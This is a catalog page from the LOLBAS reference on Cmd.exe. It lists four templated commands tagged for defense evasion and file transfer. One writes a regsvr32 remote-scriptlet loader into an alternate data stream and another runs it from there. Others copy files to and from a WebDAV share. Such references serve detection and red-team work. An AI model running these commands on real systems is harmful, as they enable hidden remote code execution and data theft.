Catalog LOLBAS

LOL · Binary

Cmd.exe

4 techniques WindowsLOLBAS GPL-3.0

ADS

Defense EvasionFile Write Windows

Add content to an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Context
user
Native
ADS

ADS

Defense EvasionFile Write Windows

Execute payload.bat stored in an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe - < {PATH}:payload.bat
Context
user
Native
ADS

Download

File Download Windows

Downloads a specified file from a WebDAV server to the target file.

Use Download/copy a file from a WebDAV server

type {PATH_SMB} > {PATH_ABSOLUTE}
Context
user
Native
Download
MITRE
T1105

Upload

File Upload Windows

Uploads a specified file to a WebDAV server.

Use Upload a file to a WebDAV server

type {PATH_ABSOLUTE} > {PATH_SMB}
Context
user
Native
Upload